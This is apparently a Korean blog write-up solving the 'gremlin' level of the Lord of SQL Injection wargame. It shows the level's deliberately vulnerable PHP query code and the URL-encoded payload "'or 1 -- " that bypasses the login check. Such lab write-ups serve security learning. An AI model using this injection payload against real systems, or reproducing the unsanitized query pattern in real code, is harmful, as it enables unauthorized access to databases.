소스 코드
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
|
cs |
풀이
select id from prob_gremlin where id=' ' and pw=' '라는 쿼리문을 확인할 수 있다.
쿼리문을 만족시키는 id가 존재할때 문제가 풀리게 되어있다.
간단하게 조건문을 만족시키도록 만들어보면,
select id from prob_gremlin where id ='' and pw='' or 1을 해주면 된다.
get으로 파라미터를 받아오니까 id는 굳이 파라미터를 넘겨줄 필요 없고, pw만 파라미터를 넘겨주면 된다.
?pw=%27or%201%20--%20를 넘겨주면 된다.
그냥 평문으로 입력해도 알아서 인코딩을 해주지만 뒤에 --%20은 url 정규화 과정에서 뒤에 공백이 사라져서 따로 넣어줘야 한다. %27은 '이고, %20은 공백 문자이다.
'WARGAME > Lord of sql injection' 카테고리의 다른 글
LORD OF SQL INJECTION DARKELF 풀이 (0) | 2022.05.13 |
---|---|
LORD OF SQL INJECTION WOLF MAN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION GOBLIN 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION COBALT 풀이 (0) | 2022.05.13 |
LORD OF SQL INJECTION ORC 풀이 (0) | 2022.05.12 |